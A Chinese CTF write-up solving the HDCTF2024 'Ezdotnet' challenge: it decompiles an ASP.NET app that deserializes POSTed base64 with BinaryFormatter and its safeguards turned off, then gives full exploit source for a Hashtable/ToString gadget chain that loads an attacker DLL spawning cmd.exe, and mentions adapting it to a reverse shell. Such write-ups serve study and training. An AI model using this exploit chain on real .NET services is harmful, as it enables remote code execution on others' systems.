Dotnet Challenge

HDCTF2024 Ezdotnet

题目使用版本是.NET 6.0.0

https://dotnet.microsoft.com/en-us/download/dotnet/6.0

Rider新建解决方案

image (1)

依赖项导入Ezdotnet.dll

image (2)

然后就可以查看源码了

image (1113)

先看HomeController

// Decompiled with JetBrains decompiler
// Type: Ezdotnet.Controllers.HomeController
// Assembly: Ezdotnet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8098D795-0B6C-416A-8237-665787DB3F9B
// Assembly location: C:\Users\p0l1st\Desktop\Ezdotnet\Ezdotnet.dll

using Ezdotnet.Models;
using Ezdotnet.Utils;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using System.Diagnostics;

#nullable enable
namespace Ezdotnet.Controllers;

public class HomeController : Controller
{
    private readonly ILogger<HomeController> _logger;

    public HomeController(ILogger<HomeController> logger) => this._logger = logger;

    public IActionResult Index()
    {
        if (this.HttpContext.Request.Method == HttpMethods.Post)
            new MyBinaryFormatter().Deserialize((string) this.HttpContext.Request.Form["base64str"]);
        return (IActionResult) this.View();
    }

    public IActionResult Privacy() => (IActionResult) this.View();

    [ResponseCache(Duration = 0, Location = ResponseCacheLocation.None, NoStore = true)]
    public IActionResult Error()
    {
        return (IActionResult) this.View((object) new ErrorViewModel()
                                     {
                                         RequestId = (Activity.Current?.Id ?? this.HttpContext.TraceIdentifier)
                                         });
    }
}

Index

public IActionResult Index()
{
    if (this.HttpContext.Request.Method == HttpMethods.Post)
        new MyBinaryFormatter().Deserialize((string) this.HttpContext.Request.Form["base64str"]);
    return (IActionResult) this.View();
}

接收POST传参base64str,并调用MyBinaryFormatter().Deserialize对其进行反序列化

namespace Ezdotnet.Utils;

public class MyBinaryFormatter
{
  public void Deserialize(string base64String)
  {
    AppContext.SetSwitch("Switch.System.Data.AllowArbitraryDataSetTypeInstantiation", true);
    AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowProcessCreation", true);
    AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowAssembliesFromByteArrays", true);
    using (MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(base64String)))
      new BinaryFormatter()
      {
        Binder = ((SerializationBinder) new SecurityBinder())
      }.Deserialize((Stream) serializationStream);
  }
}

这里通过AppContext.SetSwitch关闭.NET安全防护机制

对应关系如下

开关 关闭的保护机制
AllowArbitraryDataSetTypeInstantiation 允许反序列化时创建任意类型(包括恶意类型)
AllowProcessCreation 允许反序列化过程中创建新进程(直接导致RCE)
AllowAssembliesFromByteArrays 允许从字节数组加载程序集(可执行任意代码)

使用BinaryFormatter进行反序列化,自定义过滤器

public class SecurityBinder : SerializationBinder
{
  public override Type? BindToType(string assemblyName, string typeName)
  {
    Console.WriteLine($"assemblyName:{assemblyName},typeName:{typeName}.");
    Type type = Type.GetType($"{typeName}, {assemblyName}");
    if (!(type == typeof (InvokerTransformer)) && !(type == typeof (ChainedTransformer)))
      return type;
    Console.WriteLine("can't deseriliza rce class.");
    return (Type) null;
  }
}

过滤InvokerTransformerChainedTransformer,但是实际上并不影响反序列化

题目还给了三个Bean

namespace Ezdotnet.Beans;

[Serializable]
public class BadBean
{
  private Transformer _transformer = (Transformer) new InvokerTransformer();

  public BadBean()
  {
    this._transformer.methodName = "DASCTF";
    this._transformer.methodParam = new object[1]
    {
      (object) "Welcome To HDCTF"
    };
    this._transformer.typeName = "Ezdotnet.Beans.GoodBean";
  }

  public override string ToString()
  {
    this._transformer.transform((object) new GoodBean());
    return base.ToString();
  }
}
namespace Ezdotnet.Beans;

[Serializable]
public class ChainedTransformer : Transformer
{
  public object transform(object o)
  {
    for (int index = 0; index < this._transformers.Length; ++index)
      o = this._transformers[index].transform(o);
    return o;
  }

  public string typeName { get; set; }

  public object[] methodParam { get; set; }

  public string methodName { get; set; }

  public InvokerTransformer[] _transformers { get; set; }
}
namespace Ezdotnet.Beans;

[Serializable]
public class InvokerTransformer : Transformer
{
  public object transform(object o)
  {
    try
    {
      MethodInfo method1 = o.GetType().GetMethod(this.methodName, new Type[1]
      {
        typeof (byte[])
      });
      if (method1 != (MethodInfo) null)
        return method1.Invoke(o, this.methodParam);
      Type type = Type.GetType(this.typeName);
      MethodInfo method2 = type.GetMethod(this.methodName, new Type[1]
      {
        typeof (byte[])
      });
      if (method2 == (MethodInfo) null)
        method2 = type.GetMethod(this.methodName, new Type[1]
        {
          typeof (string)
        });
      return method2.Invoke(o, this.methodParam);
    }
    catch (Exception ex)
    {
      Console.WriteLine((object) ex);
      throw;
    }
  }

  public object[] methodParam { get; set; }

  public string methodName { get; set; }

  public InvokerTransformer[] _transformers { get; set; }

  public string typeName { get; set; }
}

不难看出是要打一个类似CC6的链子,需要利用InvokerTransformerChainedTransformer一步步RCE,而最终InvokerTransformer中也是存在反射,我们知道CC6是通过反射加载字节码来RCE,dotnet中也存在类加载,只不过C#中的类编译后会变成dll文件,那么最终可以通过加载dll进行RCE

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;

namespace DonNET_Deserialization;

public class TEST
{
    public static void Main(string[] args)
    {
        var assembly = Assembly.Load(File.ReadAllBytes("ExpClassa.dll"));
        var types = assembly.GetTypes();
        Activator.CreateInstance(types[0]);
    }
}

仿照上述写出ChainedTransformer版本

var invokerTransformer1 = new InvokerTransformer();
invokerTransformer1.methodName = "Load";
invokerTransformer1.methodParam = new object[] {Convert.FromBase64String("<base64>")};
invokerTransformer1.typeName = "System.Reflection.Assembly";
var invokerTransformer2 = new InvokerTransformer();
invokerTransformer2.methodName = "CreateInstance";
invokerTransformer2.typeName = "System.Reflection.Assembly";
invokerTransformer2.methodParam = new object[] { "Exp.Exp" };   
ChainedTransformer chainedTransformer = new ChainedTransformer();

BadBean中触发点在ToString方法,也就是说需要在反序列化过程中触发ToString方法,在ActivitySurrogateSelector利用链中触发ToString是通过HashTable方法,Hashtable在反序列化的时候会重新建key集合,引发异常的话就会触发ToString

构造Exp如下

using System.Collections;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using Ezdotnet.Beans;
using Ezdotnet.Utils;

public class Demo
{
    public static void Main(string[] args)
    {
        AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowAssembliesFromByteArrays", true);
        AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowProcessCreation", true);
        AppContext.SetSwitch("Switch.System.Data.AllowArbitraryDataSetTypeInstantiation", true);
        
        var invoker1 = new InvokerTransformer();
        invoker1.methodName = "Load";
        invoker1.methodParam = new object[] { File.ReadAllBytes("C:\\Users\\p0l1st\\Desktop\\Ezdotnet\\EzdotnetExp\\EvilDll\\bin\\Debug\\net6.0\\EvilDll.dll") };
        invoker1.typeName = "System.Reflection.Assembly";
        var invoker2 = new InvokerTransformer();
        invoker2.methodName = "CreateInstance";
        invoker2.methodParam = new object[] { "EvilDll.Class1" };
        invoker2.typeName = "System.Reflection.Assembly";
        
        ChainedTransformer chainedTransformer = new ChainedTransformer();
        chainedTransformer._transformers = new InvokerTransformer[]{invoker1, invoker2};
        
        var badBean = new BadBean();
        var filed = badBean.GetType().GetField("_transformer", BindingFlags.NonPublic | BindingFlags.Instance);
        filed.SetValue(badBean, chainedTransformer);
        
        var ht = new Hashtable();
        ht.Add(badBean, "");
        ht.Add("", "");
        FieldInfo fi_keys = ht.GetType().GetField("_buckets", BindingFlags.NonPublic | BindingFlags.Instance);
        Array keys = (Array)fi_keys.GetValue(ht);
        FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
        for (int i = 0; i < keys.Length; ++i)
        {
            object bucket = keys.GetValue(i);
            object key = fi_key.GetValue(bucket);
            if (key is string)
            {
                fi_key.SetValue(bucket, badBean);
                keys.SetValue(bucket, i);
                break;
            }
        }

        fi_keys.SetValue(ht, keys);

        BinaryFormatter formatter = new BinaryFormatter();
        byte[] binaryData;
        using (MemoryStream ms = new MemoryStream())
        {
            formatter.Serialize(ms, ht);
            //binaryData = ms.ToArray();
            
            ms.Position = 0;
            formatter.Deserialize(ms);
        }
        //string base64String = Convert.ToBase64String(binaryData);
        //Console.WriteLine(base64String);
        
        
        

    }
}

生成dll

image (3aaa)

public class Class1
{
    public Class1()
    {
        Process.Start("cmd.exe", "/c calc.exe");
    }
}

构建所选项目即可

运行成功rce

image (3fff)

修改exp,反弹shell

using System.Collections;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using Ezdotnet.Beans;
using Ezdotnet.Utils;

public class Demo
{
    public static void Main(string[] args)
    {
        AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowAssembliesFromByteArrays", true);
        AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowProcessCreation", true);
        AppContext.SetSwitch("Switch.System.Data.AllowArbitraryDataSetTypeInstantiation", true);
        
        var invoker1 = new InvokerTransformer();
        invoker1.methodName = "Load";
        invoker1.methodParam = new object[] { File.ReadAllBytes("C:\\Users\\p0l1st\\Desktop\\Ezdotnet\\EzdotnetExp\\EvilDll\\bin\\Debug\\net6.0\\EvilDll.dll") };
        invoker1.typeName = "System.Reflection.Assembly";
        var invoker2 = new InvokerTransformer();
        invoker2.methodName = "CreateInstance";
        invoker2.methodParam = new object[] { "EvilDll.Class1" };
        invoker2.typeName = "System.Reflection.Assembly";
        
        ChainedTransformer chainedTransformer = new ChainedTransformer();
        chainedTransformer._transformers = new InvokerTransformer[]{invoker1, invoker2};
        
        var badBean = new BadBean();
        var filed = badBean.GetType().GetField("_transformer", BindingFlags.NonPublic | BindingFlags.Instance);
        filed.SetValue(badBean, chainedTransformer);
        
        var ht = new Hashtable();
        ht.Add(badBean, "");
        ht.Add("", "");
        FieldInfo fi_keys = ht.GetType().GetField("_buckets", BindingFlags.NonPublic | BindingFlags.Instance);
        Array keys = (Array)fi_keys.GetValue(ht);
        FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
        for (int i = 0; i < keys.Length; ++i)
        {
            object bucket = keys.GetValue(i);
            object key = fi_key.GetValue(bucket);
            if (key is string)
            {
                fi_key.SetValue(bucket, badBean);
                keys.SetValue(bucket, i);
                break;
            }
        }

        fi_keys.SetValue(ht, keys);

        BinaryFormatter formatter = new BinaryFormatter();
        byte[] binaryData;
        using (MemoryStream ms = new MemoryStream())
        {
            formatter.Serialize(ms, ht);
            binaryData = ms.ToArray();
            
            //ms.Position = 0;
            //formatter.Deserialize(ms);
        }
        string base64String = Convert.ToBase64String(binaryData);
        Console.WriteLine(base64String);
        
        
        

    }
}

image-20260825233241283

Other